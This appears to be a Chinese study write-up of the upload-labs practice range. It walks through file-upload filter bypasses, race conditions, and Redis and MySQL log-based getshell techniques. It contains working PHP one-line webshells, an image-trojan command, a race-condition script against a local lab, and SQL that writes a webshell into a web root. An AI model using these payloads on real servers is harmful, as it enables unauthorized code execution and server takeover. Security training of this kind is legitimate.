网安-文件上传-upload-labs
目录
文件上传
产生漏洞的主要原因
危害
漏洞利用方式
漏洞绕过方式
前端验证:绕过JS验证(pass-01)
绕过MIME-Type验证(pass-02)
绕过黑名单验证(等价扩展名-pass-03)
.htaccess绕过(pass-04)
.user.ini绕过(pass-05)
绕过黑名单验证(大小写验证-pass06)
绕过黑名单验证(空格验证-pass-07)
绕过黑名单验证(.号绕过-pass-08)
绕过黑名单验证(特殊符号绕过-pass-09)
绕过黑名单验证(路径拼接绕过-pass-10)
绕过黑名单验证(双写绕过-pass-11)
绕过黑名单验证(空字符-get-pass-12)
绕过黑名单验证(空字符-post-pass-13)
文件头-字节标识(pass-14)
图片马绕过(pass-15、16)
图片的二次渲染(pass-17)
条件竞争原理(pass-18、19)
绕过黑名单验证(.绕过-pass-20)
数组后缀绕过(pass-21)
其他getshell方式
Redis未授权访问漏洞原理
Redis写入webshell漏洞原理
慢日志:
查看慢日志参数
对慢日志参数进行修改
getshell
文件上传
Web应用程序没有对用户上传的文件进行安全判断或者判断条件不够严谨,导致攻击者将恶意代码文件植入到服务器中从而去执行解析恶意代码。
产生漏洞的主要原因
文件上传限制被绕过、开源编辑器的上传漏洞...
危害
执行任意代码:攻击者可以上传包含恶意代码的文件,从而在受影响的服务器上执行任意命令
横向移动:通过上传恶意文件,攻击者可以在服务器上建立后门,从而在网络内部进行横向移动,攻击其他系统。
恶意文件传播:攻击者可以上传恶意文件,然后将下载链接传播给其他用户,使得这些用户受到攻击。
破坏文件完整性:攻击者可以上传恶意文件,修改、删除或篡改服务器上的文件,破坏文件的完整性。
漏洞利用方式
小马:对应网站开发语言编写的动态脚本体积小功能少
大马:对应网站开发语言编写的动态脚本体积大功能多
一句话木马:代码短只有一行隐蔽性强
webshell/php/b374k/b374k-2.3.min.php at master · tennc/webshell · GitHub
漏洞绕过方式
前端验证:绕过JS验证(pass-01)
一句话木马
<?php eval($_POST[cmd]);?>
通过前端代码判断上传的文件类型,禁用js就能上传
用bp也行
绕过MIME-Type验证(pass-02)
MIME(MultipurposeInternetMailExtensions)多用途互联网邮件扩展类型。是设定某种扩展名的文件用一种应用程序来打开的方式类型,当该扩展名文件被访问的时候,浏览器会自动使用指定应用程序来打开。多用于指定一些客户端自定义的文件名,以及一些媒体文件打开方式。
需要上传的文件类型是
image/jpeg
抓包修改
绕过黑名单验证(等价扩展名-pass-03)
fuzz字典:https://github.com/evi1hack/Fuzz_dic/blob/master/%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0-php_upload_fuzz-%E6%96%87%E4%BB%B6%E5%90%8D%E5%8F%82%E6%95%B0%E5%90%8E%E7%BC%80-top1%E4%B8%87.txt
重要提示:
httpd.conf AddTypeapplication/x-httpd-php.php.phtml.php3
.htaccess绕过(pass-04)
复现环境:Apache2.4+PHP7.4.22
htaccess文件是Apache服务器中的一个配置文件。
作用范围:.htaccess的用途范围主要针对当前目录。
优先级:较高可覆盖Apache的主要配置文件(httpd-conf)生效方式:修改后立刻生效
httpd-conf
服务器的全局行为和默认设置
作用范围:整个服务器
优先级:较低
生效方式:重启服务器后生效
AddType application/x-httpd-php .txt .jpg
全改为ALL
蚁剑连接
.user.ini绕过(pass-05)
复现环境:PHP7.0.12
.user.ini(用户自定义配置文件)
特定于用户或特定目录的配置文件,通常位于Web应用程序的根目录下。它用于覆盖或追加全局配置文件(如php.ini)中的PHP配置选项。它比.htaccess 用的更广,不管服务器是 nginx/apache/IIS,当使用 CGI/FastCGI 来解析 php 时,php 会优先搜索目录下所有的.ini 文件,并应用其中的配置。
类似于apache的.htaccess,但语法与.htacces 不同,语法跟 php.ini 一致。php.ini
存储了对整个PHP环境生效的配置选项。它通常位于PHP安装目录中
先上传.user.ini
auto_prepend_file=1.txt
再上传1.txt
增加头文件
测试readme.php是否包含1.txt
测试连接
绕过黑名单验证(大小写验证-pass06)
Windows系统下,对于文件名中的大小写不敏感。例如:test.php和TeSt.PHP是一样的
蚁剑的请求数据编码需与Webshell代码的解码逻辑匹配。若Webshell使用Base64解码,但客户端未启用Base64编码器,或仅单向启用(如仅请求体编码而未处理响应),会导致通信失败。
绕过黑名单验证(空格验证-pass-07)
Windows系统下,对于文件名中空格会被作为空处理,程序中的检测代码却不能自动删除空格。从而绕过黑名单。
绕过黑名单验证(.号绕过-pass-08)
Windows系统下,文件后缀名最后一个点会被自动去除。
绕过黑名单验证(特殊符号绕过-pass-09)
在Windows操作系统中,当文件名后跟着"::$DATA"时,它表示文件的一个附加数据流(AlternateDataStream,ADS)。数据流是一种用于在文件内部存储额外数据的机制。
在普通情况下,我们使用的文件只有一个默认的数据流,可以通过文件名访问。但是WindowsNT文件系统(NTFS)支持在文件内部创建额外的数据流,以存储其他信息。这些额外的数据流可以通过在文件名后面添加"::$DATA"来访问原理:Windows系统下,如果上传test.php::$DATA会在服务器上自动生成一个test.php的文件,其中内容和所上传文件内容相同,并被解析。
绕过黑名单验证(路径拼接绕过-pass-10)
在没有对上传的文件进行重命名的情况下,用户可以自定义文件名并在服务器中上传新建,就会造成对应的绕过黑名单。
// 初始化文件名,包含一些额外的点
$file_name = trim(string: "1.php. .");// 删除文件名末尾的点
$file_name = deldot($file_name);// 获取文件扩展名
// `strrchr` 函数找到字符串中最后一个指定字符(这里是 '.')及其之后的所有内容
$file_ext = strrchr($file_name, needle: '.');// 输出文件扩展名
echo $file_ext;
.php
绕过黑名单验证(双写绕过-pass-11)
代码编写过程中,只对黑名单中的内容进行空替换,因为只替换一次所以造成双写绕过
// 定义文件名
$file_name = "1.pphphp";// 定义禁止的文件扩展名数组
$deny_ext = array("php", "php5");// 使用 str_ireplace 函数替换文件名中禁止的扩展名
// str_ireplace 的参数分别为:搜索值($deny_ext)、替换值("",即空字符串)、目标字符串($file_name)
// 该函数会忽略大小写进行替换
$file_name = str_ireplace($deny_ext, replace: "", $file_name);// 输出处理后的文件名
echo $file_name;
1.php
绕过黑名单验证(空字符-get-pass-12)
php环境00截断的条件:
1.php版本小于5.3.29
2.在php.ini中修改magic_quotes_gpc=Off
绕过黑名单验证(空字符-post-pass-13)
文件头-字节标识(pass-14)
常见的文件格式头
JPEG/JFIF(常见的照片格式):头两个字节为·0xFF0xD8PNG(无损压缩格式):头两个字节为·0x890x50
GIF(支持动画的图像格式):头两个字节为·0x470x49
BMP(Windows位图格式):头两个字节为·0x420x4D
读取两个字节,将16进制转为了64进制,比如png头为8950 转后为13780
直接上传,成功了但是蚁剑连不上,png格式无法被当成php解析
题目中任务二:
图片马绕过(pass-15、16)
getimagesize函数
索引0:图像的宽度
索引1:图像的高度
索引2:图像的常量值
索引3:包含图像属性的字符串
图像的常量值:IMAGETYPE_GIF、IMAGETYPE_JPEG、IMAGETYPE_PNG、IMAGETYPE_PSD、IMAGETYPE_BMP
生成图片马
copy 01.png/b+ma15.php hack.png
或者
pass-16
开启模块,和15一样
图片的二次渲染(pass-17)
复现环境:PHP7.3.4
上传的图片与原图片内容不一致
对比上传后的png图片,只有头和尾相同,而gif相同点多,容易插入木马
在相同处插入木马
条件竞争原理(pass-18、19)
条件竞争漏洞(时间竞争漏洞),先上传再删除,在上传到删除之间这几十毫秒之内我们的文件还是在的,就可以访问上传的文件。
<?php
file_put_contents('shell.php', '<?php @eval($_POST["a"]) ?>');
?>
不断上传ma18.php
不断访问ma18.php
import requests
import threading
import osclass RaceCondition(threading.Thread):def __init__(self):threading.Thread.__init__(self)self.url = 'http://127.0.0.1/upload-labs-master/upload/ma18.php'def _get(self):print('try to call uploaded file...')r = requests.get(self.url)if r.status_code == 200:print(r.text)os._exit(0)def run(self):while True:for i in range(5):self._get()for i in range(10):self._get()if __name__ == '__main__':threads = 50for i in range(threads):t = RaceCondition()t.start()for i in range(threads):t.join()
19
后缀名做了白名单判断,然后会一步一步检查文件大小、文件是否存在等等,将文件上传后,对文件重新命名,同样存在条件竞争的漏洞。可以不断利用 burp 发送上传图片马的数据包,由于条件竞争,程序会出现来不及rename 的问题,从而上传成功。
利用方法:区别于 Pass-18,这里需要使用图片马
绕过黑名单验证(.绕过-pass-20)
使用 pathinfo($file_name,PATHINFO_EXTENSION)的方式检查文件名后缀(从最后一个小数点进行截取),并使用的是黑名单方式。
数组后缀绕过(pass-21)
通过代码审计绕过
对参数$file 进行判断,如果不是,将其修改为数组,但我们提前传入数组时,造成漏洞
其他getshell方式
Redis未授权访问漏洞原理
Redis默认情况下,会绑定在0.0.0.0:6379,如果没有采用相关的策略,如配置防火墙规则避免其他非信任来源的IP访问,就会将Redis服务暴露在公网上;如果没有设置密码认证(一般为空)的情况下,会导致任意用户可以访问目标服务器下未授权访问Redis以及读取Redis数据。
Redis写入webshell漏洞原理
靶机的redis存在未授权访问,并且开启了web服务,知道了web目录的路径,并具有文件读写增删改查的权限,即可通过redis在指定的web目录下写入一句话木马,用菜刀连接可达到控制服务器的目的。
慢日志:
一般都是通过long_query_time选项来设置这个时间值,时间以秒为单位,可以精确到微秒。如果查询时间超过了这个时间值(默认为10秒),这个查询语句将被记录到慢查询日志中。查看服务器默认时间值方式如下
show global variables like '%long_query_time%';
show global variables like '%long%';
查看慢日志参数
show global variables like '%slow%';
对慢日志参数进行修改
set global slow_query_log=1; #打开慢日志
set global slow_query_log_file="D:\\phpstudy_pro\\WWW\\slow.php"; #慢
日志的路径 注意:一定要用双反斜杠
select '<?php @eval($_POST["cmd"]);?>' or sleep(11);
利用general_log,可以将所有到达mysql服务器的sql语句,都记录下来相关参数一共有3个:general_log、log_output、general_log_file
show variables like 'general_log'; -- 查看日志是否开启
set global general_log=on; -- 开启日志功能
show variables like 'general_log_file'; -- 看看日志文件保存位置
set global general_log_file='tmp/general.lg'; -- 设置日志文件保存位置
show variables like 'log_output'; -- 看看日志输出类型 table或file
set global log_output='table'; -- 设置输出类型为 table
set global log_output='file'; -- 设置输出类型为file
getshell
set global general_log=on;
set global general_log_file="D:\\phpstudy_pro\\WWW\\log.php";
select '<?php eval($_POST["cmd"]);?>';